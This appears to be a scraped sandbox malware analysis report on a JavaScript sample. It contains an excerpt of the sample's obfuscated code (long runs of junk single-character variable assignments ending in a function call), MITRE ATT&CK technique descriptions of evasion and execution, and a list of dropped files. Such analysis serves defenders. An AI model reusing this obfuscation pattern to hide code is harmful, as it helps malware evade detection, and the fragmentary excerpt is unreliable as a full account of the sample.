1140	rpqufsxz = "K";
1141	rpqufsxz = "k";
1142	rpqufsxz = "1";
1143	dtlzujahi = "f";
1144	dtlzujahi = "c";
1145	dtlzujahi = "B";
1146	dtlzujahi = "t";
1147	dtlzujahi = "q";
1148	dtlzujahi = "r";
1149	dtlzujahi = "M";
1150	dtlzujahi = "G";
1151	dtlzujahi = "m";
1152	dtlzujahi = "M";
1153	dtlzujahi = "z";
1154	dtlzujahi = "X";
1155	dtlzujahi = "b";
1156	dtlzujahi = "s";
1157	dtlzujahi = "G";
1158	dtlzujahi = "J";
1159	dtlzujahi = "Z";
1160	dtlzujahi = "q";
1161	dtlzujahi = "L";
1162	dtlzujahi = "x";
1163	dtlzujahi = "s";
1164	dtlzujahi = "K";
1165	dtlzujahi = "U";
1166	dtlzujahi = "e";
1167	dtlzujahi = "S";
1168	dtlzujahi = "R";
1169	dtlzujahi = "a";
1170	dtlzujahi = "w";
1171	dtlzujahi = "o";
1172	dtlzujahi = "Y";
1173	xmatyt = "A";
1174	xmatyt = "D";
1175	xmatyt = "Q";
1176	xmatyt = "B";
1177	xmatyt = "e";
1178	xmatyt = "m";
1179	xmatyt = "F";
1180	xmatyt = "F";
1181	xmatyt = "o";
1182	xmatyt = "I";
1183	xmatyt = "Y";
1184	xmatyt = "W";
1185	xmatyt = "N";
1186	xmatyt = "a";
1187	xmatyt = "R";
1188	xmatyt = "d";
1189	xmatyt = "b";
1190	xmatyt = "D";
1191	xmatyt = "G";
1192	xmatyt = "O";
1193	xmatyt = "W";
1194	xmatyt = "M";
1195	xmatyt = "V";
1196	xmatyt = "r";
1197	xmatyt = "I";
1198	xmatyt = "P";
1199	xmatyt = "V";
1200	xmatyt = "X";
1201	xmatyt = "S";
1202	xmatyt = "T";
1203	xmatyt = "v";
1204	xmatyt = "V";
1205	xmatyt = "x";
1206	xmatyt = "f";
1207	pjsvs = "X";
1208	pjsvs = "z";
1209	pjsvs = "J";
1210	pjsvs = "X";
1211	pjsvs = "c";
1212	pjsvs = "H";
1213	pjsvs = "T";
1214	pjsvs = "I";
1215	pjsvs = "S";
1216	pjsvs = "o";
1217	pjsvs = "N";
1218	pjsvs = "L";
1219	pjsvs = "p";
1220	pjsvs = "B";
1221	pjsvs = "g";
1222	pjsvs = "w";
1223	pjsvs = "O";
1224	pjsvs = "i";
1225	pjsvs = "d";
1226	pjsvs = "Q";
1227	pjsvs = "g";
1228	pjsvs = "L";
1229	pjsvs = "R";
1230	pjsvs = "H";
1231	pjsvs = "H";
1232	pjsvs = "q";
1233	pjsvs = "w";
1234	pjsvs = "m";
1235	pjsvs = "O";
1236	qfbbnxbo = "f";
1237	qfbbnxbo = "K";
1238	qfbbnxbo = "i";
1239	qfbbnxbo = "t";
1240	qfbbnxbo = "p";
1241	sjtgd = "J";
1242	sjtgd = "h";
1243	sjtgd = "a";
1244	sjtgd = "Y";
1245	sjtgd = "Y";
1246	sjtgd = "k";
1247	sjtgd = "u";
1248	sjtgd = "d";
1249	sjtgd = "n";
1250	sjtgd = "t";
1251	sjtgd = "Z";
1252	sjtgd = "r";
1253	sjtgd = "w";
1254	sjtgd = "H";
1255	sjtgd = "K";
1256	sjtgd = "V";
1257	sjtgd = "S";
1258	sjtgd = "N";
1259	sjtgd = "k";
1260	sjtgd = "p";
1261	sjtgd = "X";
1262	sjtgd = "Q";
1263	sjtgd = "i";
1264	sjtgd = "A";
1265	sjtgd = "E";
1266	sjtgd = "m";
1267	sjtgd = "P";
1268	sjtgd = "u";
1269	sjtgd = "J";
1270	sjtgd = "c";
1271	sjtgd = "n";
1272	buhwexsy = "J";
1273	buhwexsy = "k";
1274	buhwexsy = "k";
1275	buhwexsy = "T";
1276	buhwexsy = "L";
1277	buhwexsy = "I";
1278	buhwexsy = "R";
1279	buhwexsy = "d";
1280	buhwexsy = "H";
1281	buhwexsy = "r";
1282	buhwexsy = "C";
1283	buhwexsy = "L";
1284	buhwexsy = "y";
1285	buhwexsy = "P";
1286	buhwexsy = "f";
1287	buhwexsy = "H";
1288	buhwexsy = "J";
1289	buhwexsy = "w";
1290	buhwexsy = "e";
1291	buhwexsy = "G";
1292	buhwexsy = "h";
1293	buhwexsy = "s";
1294	buhwexsy = "w";
1295	buhwexsy = "J";
1296	buhwexsy = "z";
1297	buhwexsy = "V";
1298	buhwexsy = "\"";
1299	ivpoe = "c";
1300	ivpoe = "b";
1301	ivpoe = "Z";
1302	ivpoe = "q";
1303	ivpoe = "A";
1304	ivpoe = "m";
1305	ivpoe = "-";
1306	epozk = "A";
1307	epozk = "b";
1308	epozk = "h";
1309	epozk = "j";
1310	epozk = "n";
1311	epozk = "O";
1312	epozk = "f";
1313	epozk = "a";
1314	epozk = "v";
1315	epozk = "l";
1316	epozk = "Q";
1317	epozk = "T";
1318	epozk = "n";
1319	epozk = "r";
1320	epozk = "g";
1321	epozk = "r";
1322	epozk = "J";
1323	epozk = "i";
1324	epozk = "a";
1325	epozk = "u";
1326	epozk = "A";
1327	epozk = "g";
1328	epozk = "f";
1329	epozk = "A";
1330	epozk = "x";
1331	epozk = "M";
1332	epozk = "p";
1333	epozk = "a";
1334	epozk = "f";
1335	epozk = "Z";
1336	epozk = "R";
1337	epozk = "G";
1338	epozk = "N";
1339	epozk = "k";
1340	epozk = "D";
1341	epozk = "v";
1342	epozk = "M";
1343	epozk = "r";
1344	epozk = "T";
1345	epozk = "l";
1346	epozk = "W";
1347	epozk = "a";
1348	epozk = "U";
1349	epozk = "@";
1350	xhynsktxk = "N";
1351	xhynsktxk = "i";
1352	xhynsktxk = "X";
1353	xhynsktxk = "s";
1354	zbbzgb = "T";
1355	zbbzgb = "j";
1356	zbbzgb = "b";
1357	zbbzgb = "w";
1358	zbbzgb = "v";
1359	zbbzgb = "s";
1360	zbbzgb = "b";
1361	zbbzgb = "H";
1362	zbbzgb = "n";
1363	zbbzgb = "a";
1364	zbbzgb = "J";
1365	zbbzgb = "b";
1366	zbbzgb = "I";
1367	zbbzgb = "b";
1368	zbbzgb = "e";
1369	zbbzgb = "i";
1370	zbbzgb = "w";
1371	zbbzgb = "E";
1372	zbbzgb = "K";
1373	zbbzgb = "y";
1374	zbbzgb = "i";
1375	zbbzgb = "X";
1376	zbbzgb = "a";
1377	zbbzgb = "z";
1378	zbbzgb = "e";
1379	zbbzgb = "U";
1380	zbbzgb = "b";
1381	zbbzgb = "w";
1382	zbbzgb = "L";
1383	zbbzgb = "k";
1384	zbbzgb = "N";
1385	zbbzgb = "h";
1386	zbbzgb = "d";
1387	zbbzgb = "N";
1388	zbbzgb = "b";
1389	zbbzgb = "L";
1390	zbbzgb = "L";
1391	zbbzgb = "f";
1392	zbbzgb = "Z";
1393	zbbzgb = "C";
1394	zbbzgb = "P";
1395	zbbzgb = "w";
1396	zbbzgb = "x";
1397	zbbzgb = "r";
1398	zbbzgb = "3";
1399	unzthxe = "4";
1400	bhwgqlqqi = "T";
1401	bhwgqlqqi = "S";
1402	bhwgqlqqi = "A";
1403	bhwgqlqqi = "p";
1404	bhwgqlqqi = "J";
1405	bhwgqlqqi = "B";
1406	bhwgqlqqi = "y";
1407	bhwgqlqqi = "i";
1408	bhwgqlqqi = "a";
1409	bhwgqlqqi = "n";
1410	bhwgqlqqi = "w";
1411	bhwgqlqqi = "e";
1412	bhwgqlqqi = "x";
1413	bhwgqlqqi = "z";
1414	bhwgqlqqi = "Y";
1415	bhwgqlqqi = "G";
1416	bhwgqlqqi = "e";
1417	bhwgqlqqi = "F";
1418	bhwgqlqqi = "r";
1419	bhwgqlqqi = "g";
1420	bhwgqlqqi = "X";
1421	bhwgqlqqi = "G";
1422	bhwgqlqqi = "K";
1423	bhwgqlqqi = "d";
1424	bhwgqlqqi = "N";
1425	bhwgqlqqi = "B";
1426	bhwgqlqqi = "A";
1427	bhwgqlqqi = "t";
1428	bhwgqlqqi = "Z";
1429	bhwgqlqqi = "O";
1430	bhwgqlqqi = "C";
1431	bhwgqlqqi = "j";
1432	bhwgqlqqi = "C";
1433	iikjypfk = "G";
1434	iikjypfk = "z";
1435	iikjypfk = "V";
1436	iikjypfk = "L";
1437	iikjypfk = "s";
1438	iikjypfk = "n";
1439	iikjypfk = "r";
1440	iikjypfk = "7";
1441	inizb = "t";
1442	inizb = "P";
1443	inizb = "K";
1444	inizb = "b";
1445	inizb = "M";
1446	inizb = "N";
1447	inizb = "P";
1448	inizb = "M";
1449	inizb = "k";
1450	inizb = "r";
1451	inizb = "D";
1452	inizb = "O";
1453	inizb = "l";
1454	inizb = "W";
1455	inizb = "P";
1456	inizb = "t";
1457	inizb = "e";
1458	inizb = "H";
1459	inizb = "D";
1460	inizb = "L";
1461	inizb = "F";
1462	inizb = "D";
1463	inizb = "z";
1464	inizb = "b";
1465	inizb = "N";
1466	inizb = "E";
1467	inizb = "C";
1468	inizb = "M";
1469	inizb = "R";
1470	inizb = "a";
1471	inizb = "Y";
1472	inizb = "c";
1473	inizb = "d";
1474	inizb = "5";
1475	xmfwwimpx = "N";
1476	xmfwwimpx = "s";
1477	xmfwwimpx = "n";
1478	xmfwwimpx = "z";
1479	xmfwwimpx = "R";
1480	xmfwwimpx = "L";
1481	xmfwwimpx = "r";
1482	xmfwwimpx = "o";
1483	xmfwwimpx = "X";
1484	xmfwwimpx = "T";
1485	xmfwwimpx = "b";
1486	xmfwwimpx = "u";
1487	xmfwwimpx = "y";
1488	xmfwwimpx = "m";
1489	xmfwwimpx = "n";
1490	xmfwwimpx = "V";
1491	xmfwwimpx = "L";
1492	xmfwwimpx = "I";
1493	xmfwwimpx = "q";
1494	xmfwwimpx = "g";
1495	xmfwwimpx = "D";
1496	xmfwwimpx = "i";
1497	xmfwwimpx = "n";
1498	xmfwwimpx = "W";
1499	xmfwwimpx = "w";
1500	xmfwwimpx = "h";
1501	xmfwwimpx = "q";
1502	xmfwwimpx = "f";
1503	xmfwwimpx = "j";
1504	xmfwwimpx = "B";
1505	xmfwwimpx = "F";
1506	xmfwwimpx = "P";
1507	xmfwwimpx = "M";
1508	xmfwwimpx = "N";
1509	xmfwwimpx = "s";
1510	xmfwwimpx = "F";
1511	bioda = "N";
1512	bioda = "u";
1513	bioda = "L";
1514	bioda = "I";
1515	bioda = "i";
1516	bioda = "l";
1517	bioda = "D";
1518	bioda = "e";
1519	bioda = "w";
1520	bioda = "C";
1521	bioda = "e";
1522	bioda = "v";
1523	bioda = "O";
1524	bioda = "m";
1525	bioda = "v";
1526	bioda = "h";
1527	bioda = "H";
1528	bioda = "f";
1529	bioda = "h";
1530	atmslowiy = "i";
1531	atmslowiy = "y";
1532	atmslowiy = "y";
1533	atmslowiy = "D";
1534	atmslowiy = "Q";
1535	atmslowiy = "u";
1536	atmslowiy = "m";
1537	atmslowiy = "h";
1538	atmslowiy = "Q";
1539	atmslowiy = "P";
1540	atmslowiy = " ";
1541	ctwcfdajf = "l";
1542	ctwcfdajf = "p";
1543	ctwcfdajf = "v";
1544	ctwcfdajf = "F";
1545	ctwcfdajf = "m";
1546	ctwcfdajf = "k";
1547	ctwcfdajf = "m";
1548	ctwcfdajf = "B";
1549	ctwcfdajf = "J";
1550	ctwcfdajf = "J";
1551	ctwcfdajf = "T";
1552	ctwcfdajf = "w";
1553	ctwcfdajf = "N";
1554	ctwcfdajf = "W";
1555	ctwcfdajf = "u";
1556	ctwcfdajf = "G";
1557	ctwcfdajf = "f";
1558	ctwcfdajf = "p";
1559	ctwcfdajf = "m";
1560	ctwcfdajf = "d";
1561	ctwcfdajf = "M";
1562	ctwcfdajf = "d";
1563	ctwcfdajf = "x";
1564	ctwcfdajf = "C";
1565	ctwcfdajf = "w";
1566	ctwcfdajf = "/";
1567	wlgqtx = "X";
1568	wlgqtx = "G";
1569	wlgqtx = "c";
1570	wlgqtx = "K";
1571	wlgqtx = "N";
1572	wlgqtx = "n";
1573	wlgqtx = "f";
1574	wlgqtx = "n";
1575	wlgqtx = "n";
1576	wlgqtx = "t";
1577	vglpk = "n";
1578	vglpk = "g";
1579	vglpk = "t";
1580	vglpk = "q";
1581	vglpk = "d";
1582	vglpk = "w";
1583	vglpk = "f";
1584	vglpk = "Z";
1585	vglpk = "D";
1586	vglpk = "K";
1587	vglpk = "D";
1588	vglpk = "g";
1589	vglpk = "y";
1590	vglpk = "s";
1591	vglpk = "X";
1592	vglpk = "u";
1593	vglpk = "g";
1594	vglpk = "T";
1595	vglpk = "v";
1596	vglpk = "N";
1597	vglpk = "n";
1598	vglpk = "q";
1599	vglpk = "G";
1600	vglpk = "y";
1601	vglpk = "v";
1602	vglpk = "T";
1603	vglpk = "B";
1604	vglpk = "J";
1605	vglpk = "l";
1606	vglpk = "z";
1607	vglpk = "i";
1608	vglpk = "C";
1609	vglpk = "D";
1610	vglpk = "a";
1611	vglpk = "o";
1612	vglpk = "o";
1613	vglpk = "R";
1614	vglpk = "P";
1615	vglpk = "o";
1616	vglpk = "N";
1617	vglpk = "X";
1618	vglpk = "i";
1619	vglpk = "b";
1620	vglpk = "b";
1621	vglpk = "L";
1622	otkmxdo = "p";
1623	otkmxdo = "O";
1624	otkmxdo = "t";
1625	otkmxdo = "M";
1626	otkmxdo = "T";
1627	otkmxdo = "G";
1628	otkmxdo = "H";
1629	wzubxv ( );	wzubxv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1667730710460316051.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6298798a-fdda-4a31-9aae-2ab427ce89ca.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f44572c-592f-4930-a964-04168c1caf4a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF51a59c.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1667730710460316051.js